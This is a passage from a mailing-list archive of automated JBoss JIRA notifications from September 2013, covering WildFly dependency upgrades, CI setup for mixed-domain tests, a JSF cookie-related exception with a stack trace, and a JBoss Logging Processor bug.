Date: Wed, 25 Sep 2013 11:38:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2156) Upgrade scannotation to 1.0.3
In-Reply-To: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501531.1380123304000.603.1380123482470@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2156?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807389#comment-12807389 ] 

Weinan Li commented on WFLY-2156:
---------------------------------

Hi Tomaz,  why assign this to Bill? I saw this part belongs to Stuart:

{code}
mini:wildfly weinanli$ git blame pom.xml | grep scannotation
4efa72403a (Stuart Douglas        2011-02-26 09:28:00 +1100  254)         <version.org.scannotation>1.0.2</version.org.scannotation>
{code}
                
> Upgrade scannotation to 1.0.3
> -----------------------------
>
>                 Key: WFLY-2156
>                 URL: https://issues.jboss.org/browse/WFLY-2156
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: REST
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Weinan Li
>            Assignee: Bill Burke
>
> RESTEasy has a dependency on 1.0.3 of scannotation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 11:40:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Wed, 25 Sep 2013 11:40:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1859) Make TeamCity run the mixed
	domain tests
In-Reply-To: <JIRA.12498341.1376068031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498341.1376068031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498341.1376068031000.610.1380123602933@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1859?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807390#comment-12807390 ] 

Kabir Khan commented on WFLY-1859:
----------------------------------

[25/09/2013 13:41:52] Tomaz Cerar: Kabir, Brian
[25/09/2013 13:41:54] Tomaz Cerar: will this do
[25/09/2013 13:41:54] Tomaz Cerar: [root at build04-linux32 legacy-as]# ls -l /store/legacy-as/
total 733320
-rw-r--r-- 1 root root 123075938 Sep 25 08:14 jboss-as-7.1.2.Final.zip
-rw-r--r-- 1 root root 123139444 Sep 25 08:23 jboss-as-7.1.3.Final.zip
-rw-r--r-- 1 root root 266016563 Sep 25 08:33 jboss-as-7.2.0.Final.zip
-rw-r--r-- 1 root root 115495901 May 16 23:47 jboss-eap-6.1.0.zip
-rw-r--r-- 1 root root 123177682 Aug 30 10:50 jboss-eap-6.1.1.zip
[25/09/2013 13:47:30] Tomaz Cerar: i think they should be unpacked
[25/09/2013 13:47:32] Tomaz Cerar: but that should be it
[25/09/2013 14:03:18] Kabir Khan: Tomaz, the directories look fine - you will also need to update the tests in mixed-domain, they each select a different version
[25/09/2013 14:03:55] Tomaz Cerar: ok
[25/09/2013 14:04:54] Kabir Khan: and you might also need to update @Version.AsVersion and OldVersionCopier to better handle jboss-as- vs jboss-eap-
[25/09/2013 14:05:20] Kabir Khan: since at the moment it seems to assume jboss-as-, and the version is just appended to that
[25/09/2013 14:05:33] Tomaz Cerar: :)
[25/09/2013 14:05:48] Tomaz Cerar: for starters i will be happy if current tests work
[25/09/2013 14:05:59] Kabir Khan: Yeah, try that first
[25/09/2013 14:06:16] Kabir Khan: and then I can help update this to include eap (although not today)
                
> Make TeamCity run the mixed domain tests
> ----------------------------------------
>
>                 Key: WFLY-1859
>                 URL: https://issues.jboss.org/browse/WFLY-1859
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Test Suite
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Kabir Khan
>            Assignee: Tomaz Cerar
>            Priority: Critical
>
> [09/08/2013 18:02:06] Kabir Khan: BTW, Tomaz you've not set up the jobs to run the mixed-domain tests
> [09/08/2013 18:02:46] Tomaz Cerar: noap
> [09/08/2013 18:02:55] Tomaz Cerar: and we probably want that
> [09/08/2013 18:03:46] Kabir Khan: So you need a directory containing jboss-as-7.1.2.Final.zip  jboss-as-7.1.3.Final.zip
> [09/08/2013 18:04:01] Tomaz Cerar: now i rembemer
> [09/08/2013 18:04:22] Tomaz Cerar: i will set it up, probably not right now, but soon
> [09/08/2013 18:04:26] Kabir Khan: Each zip has the following file structure
> [09/08/2013 18:04:27] Kabir Khan: $unzip old-as7-releases/jboss-as-7.1.3.Final.zip | more
> Archive:  old-as7-releases/jboss-as-7.1.3.Final.zip
>    creating: jboss-as-7.1.3.Final/
>    creating: jboss-as-7.1.3.Final/appclient/
>    creating: jboss-as-7.1.3.Final/appclient/configuration/
> [09/08/2013 18:04:31] Kabir Khan: ...
> [09/08/2013 18:05:02] Kabir Khan: Then you need to set -Djboss.test.mixed.domain.dir=
> to the directory containing jboss-as-7.1.2.Final.zip and jboss-as-7.1.3.Final.zip

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 12:03:02 2013
From: jira-events at lists.jboss.org (Marek Schmidt (JIRA))
Date: Wed, 25 Sep 2013 12:03:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2157) JSF ViewExpiredException
	without cookies.
In-Reply-To: <JIRA.12501535.1380124956026@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501535.1380124956026@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501535.1380124956026.634.1380124982638@jira02.app.mwc.hst.phx2.redhat.com>

Marek Schmidt created WFLY-2157:
-----------------------------------

             Summary: JSF ViewExpiredException without cookies.
                 Key: WFLY-2157
                 URL: https://issues.jboss.org/browse/WFLY-2157
             Project: WildFly
          Issue Type: Bug
          Components: JSF, Web (Undertow)
    Affects Versions: 8.0.0.Alpha4
            Reporter: Marek Schmidt
            Assignee: Stan Silvert


On a Firefox browser with cookies disabled, a simple CDI/JSF application (Weld Numberguess example) shows the following exception (same WAR works fine on EAP 6.1 with cookies disabled)

{noformat}
14:17:27,508 ERROR [io.undertow.request] (default task-5) Servlet request failed HttpServerExchange{ POST /weld-numberguess/home.jsf}: javax.servlet.ServletException: viewId:/home.jsf - View /home.jsf could not be restored.
        at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
        at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
        at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
        at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
        at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
        at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
Caused by: javax.faces.application.ViewExpiredException: viewId:/home.jsf - View /home.jsf could not be restored.
        at com.sun.faces.lifecycle.RestoreViewPhase.execute(RestoreViewPhase.java:210) [jsf-impl-2.2.1-jbossorg-1.jar:]
        at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
        at com.sun.faces.lifecycle.RestoreViewPhase.doPhase(RestoreViewPhase.java:121) [jsf-impl-2.2.1-jbossorg-1.jar:]
        at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
        at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
        ... 29 more
{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 12:05:02 2013
From: jira-events at lists.jboss.org (Marek Schmidt (JIRA))
Date: Wed, 25 Sep 2013 12:05:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2157) JSF ViewExpiredException
	without cookies.
In-Reply-To: <JIRA.12501535.1380124956000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501535.1380124956000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501535.1380124956000.641.1380125102742@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2157?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Marek Schmidt updated WFLY-2157:
--------------------------------

    Attachment: weld-numberguess.war

    
> JSF ViewExpiredException without cookies.
> -----------------------------------------
>
>                 Key: WFLY-2157
>                 URL: https://issues.jboss.org/browse/WFLY-2157
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Marek Schmidt
>            Assignee: Stan Silvert
>         Attachments: weld-numberguess.war
>
>
> On a Firefox browser with cookies disabled, a simple CDI/JSF application (Weld Numberguess example) shows the following exception (same WAR works fine on EAP 6.1 with cookies disabled)
> {noformat}
> 14:17:27,508 ERROR [io.undertow.request] (default task-5) Servlet request failed HttpServerExchange{ POST /weld-numberguess/home.jsf}: javax.servlet.ServletException: viewId:/home.jsf - View /home.jsf could not be restored.
>         at javax.faces.webapp.FacesServlet.service(FacesServlet.java:659) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>         at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
>         at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
>         at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:628) [undertow-core-1.0.0.Beta7.jar:1.0.0.Beta7]
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: javax.faces.application.ViewExpiredException: viewId:/home.jsf - View /home.jsf could not be restored.
>         at com.sun.faces.lifecycle.RestoreViewPhase.execute(RestoreViewPhase.java:210) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at com.sun.faces.lifecycle.RestoreViewPhase.doPhase(RestoreViewPhase.java:121) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.1-jbossorg-1.jar:]
>         at javax.faces.webapp.FacesServlet.service(FacesServlet.java:646) [jboss-jsf-api_2.2_spec-2.2.1.jar:2.2.1]
>         ... 29 more
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 12:11:02 2013
From: jira-events at lists.jboss.org (Clebert Suconic (JIRA))
Date: Wed, 25 Sep 2013 12:11:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2135) Change distributed config on
 address settings to Page instead of Block
In-Reply-To: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501318.1379952235000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501318.1379952235000.647.1380125462488@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2135?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Clebert Suconic resolved WFLY-2135.
-----------------------------------

    Resolution: Done

    
> Change distributed config on address settings to Page instead of Block
> ----------------------------------------------------------------------
>
>                 Key: WFLY-2135
>                 URL: https://issues.jboss.org/browse/WFLY-2135
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Clebert Suconic
>            Assignee: Clebert Suconic
>             Fix For: 8.0.0.Beta1
>
>
> We have had so many cases of questions about why the producing is blocked when not consuming.
> Users are expecting Page by default, so we should change the default.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 12:13:02 2013
From: jira-events at lists.jboss.org (=?UTF-8?Q?Micha=C5=82_Zegan_=28JIRA=29?=)
Date: Wed, 25 Sep 2013 12:13:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2137) transaction services do not
 start in domain mode with jts enabled
In-Reply-To: <JIRA.12501331.1379963766000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501331.1379963766000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501331.1379963766000.650.1380125582495@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2137?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807398#comment-12807398 ] 

Micha? Zegan commented on WFLY-2137:
------------------------------------

Actually, it was the master HEAD when I've tried it.
                
> transaction services do not start in domain mode with jts enabled
> -----------------------------------------------------------------
>
>                 Key: WFLY-2137
>                 URL: https://issues.jboss.org/browse/WFLY-2137
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Micha? Zegan
>
> When launching the app server in domain mode when there is a transaction subsystem active with jts set to true, server shows an error that there's a circular dependency between services.
> I don't have any log to show this but it is easily reproducible.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 12:37:02 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Wed, 25 Sep 2013 12:37:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1859) Make TeamCity run the mixed
	domain tests
In-Reply-To: <JIRA.12498341.1376068031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498341.1376068031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498341.1376068031000.672.1380127022788@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1859?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar resolved WFLY-1859.
-------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done


http://lightning.mw.lab.eng.bos.redhat.com/viewType.html?buildTypeId=EAP_6xLinuxMixedDomain
                
> Make TeamCity run the mixed domain tests
> ----------------------------------------
>
>                 Key: WFLY-1859
>                 URL: https://issues.jboss.org/browse/WFLY-1859
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Test Suite
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Kabir Khan
>            Assignee: Tomaz Cerar
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> [09/08/2013 18:02:06] Kabir Khan: BTW, Tomaz you've not set up the jobs to run the mixed-domain tests
> [09/08/2013 18:02:46] Tomaz Cerar: noap
> [09/08/2013 18:02:55] Tomaz Cerar: and we probably want that
> [09/08/2013 18:03:46] Kabir Khan: So you need a directory containing jboss-as-7.1.2.Final.zip  jboss-as-7.1.3.Final.zip
> [09/08/2013 18:04:01] Tomaz Cerar: now i rembemer
> [09/08/2013 18:04:22] Tomaz Cerar: i will set it up, probably not right now, but soon
> [09/08/2013 18:04:26] Kabir Khan: Each zip has the following file structure
> [09/08/2013 18:04:27] Kabir Khan: $unzip old-as7-releases/jboss-as-7.1.3.Final.zip | more
> Archive:  old-as7-releases/jboss-as-7.1.3.Final.zip
>    creating: jboss-as-7.1.3.Final/
>    creating: jboss-as-7.1.3.Final/appclient/
>    creating: jboss-as-7.1.3.Final/appclient/configuration/
> [09/08/2013 18:04:31] Kabir Khan: ...
> [09/08/2013 18:05:02] Kabir Khan: Then you need to set -Djboss.test.mixed.domain.dir=
> to the directory containing jboss-as-7.1.2.Final.zip and jboss-as-7.1.3.Final.zip

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 12:39:03 2013
From: jira-events at lists.jboss.org (Weinan Li (JIRA))
Date: Wed, 25 Sep 2013 12:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2156) Upgrade scannotation to 1.0.3
In-Reply-To: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501531.1380123304000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501531.1380123304000.690.1380127143474@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2156?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Weinan Li updated WFLY-2156:
----------------------------

    Assignee: Stuart Douglas  (was: Bill Burke)

    
> Upgrade scannotation to 1.0.3
> -----------------------------
>
>                 Key: WFLY-2156
>                 URL: https://issues.jboss.org/browse/WFLY-2156
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: REST
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Weinan Li
>            Assignee: Stuart Douglas
>
> RESTEasy has a dependency on 1.0.3 of scannotation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 12:57:02 2013
From: jira-events at lists.jboss.org (Farah Juma (JIRA))
Date: Wed, 25 Sep 2013 12:57:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1705) JPA persistence units make
 use of SerializableValidatorFactory instead of using the JNDI bound default
 ValidatorFactory
In-Reply-To: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496562.1373987171000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496562.1373987171000.739.1380128222637@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Farah Juma updated WFLY-1705:
-----------------------------

    Fix Version/s: 8.0.0.Beta1

    
> JPA persistence units make use of SerializableValidatorFactory instead of using the JNDI bound default ValidatorFactory
> -----------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1705
>                 URL: https://issues.jboss.org/browse/WFLY-1705
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE, JPA / Hibernate
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Hardy Ferentschik
>            Assignee: Farah Juma
>             Fix For: 8.0.0.Beta1
>
>
> I think there is no need for {{SerializableValidatorFactory}}. _LazyValidatorFactory_ should be used at all times to also ensure that CDI injection works.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 13:52:02 2013
From: jira-events at lists.jboss.org (Tom Cunningham (JIRA))
Date: Wed, 25 Sep 2013 13:52:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBLOGGING-96) JBoss Logging Processor
 should support WSDLException
In-Reply-To: <JIRA.12501542.1380131461530@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501542.1380131461530@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501542.1380131461530.845.1380131522645@jira02.app.mwc.hst.phx2.redhat.com>

Tom Cunningham created JBLOGGING-96:
---------------------------------------

             Summary: JBoss Logging Processor should support WSDLException
                 Key: JBLOGGING-96
                 URL: https://issues.jboss.org/browse/JBLOGGING-96
             Project: JBoss Logging
          Issue Type: Bug
      Security Level: Public (Everyone can see)
          Components: jboss-logging-spi
    Affects Versions: 3.1.2.GA
            Reporter: Tom Cunningham
            Assignee: David Lloyd


This is a jboss-logging-processor issue - javax.wsdl.WSDLException has constructors :

public WSDLException(java.lang.String faultCode,
                     java.lang.String msg,
                     java.lang.Throwable t)
public WSDLException(java.lang.String faultCode,
                     java.lang.String msg)

When I try to localize with this :

    /**
     * couldNotFindServiceInTheWSDL method definition.
     * @param portName the portName
     * @param definitionDocumentBaseURI definitionDocumentBaseURI
     * @return WSDLException
     */
    @Message(id = 35436, value = "Could not find service %s in the WSDL %s")
    WSDLException couldNotFindServiceInTheWSDL(String portName, String definitionDocumentBaseURI);

I see compilation errors because jboss-logging-processor doesn't know how to support the WSDLException constructors.    We should support them.

Failure:
[ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[189,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.
[ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[197,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.
[ERROR] /Users/tcunning/src/switchyard/cunningt/components/soap/src/main/java/org/switchyard/component/soap/SOAPMessages.java:[206,18] MessageMethod does not have an usable constructor for the return type javax.wsdl.WSDLException.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 14:42:02 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
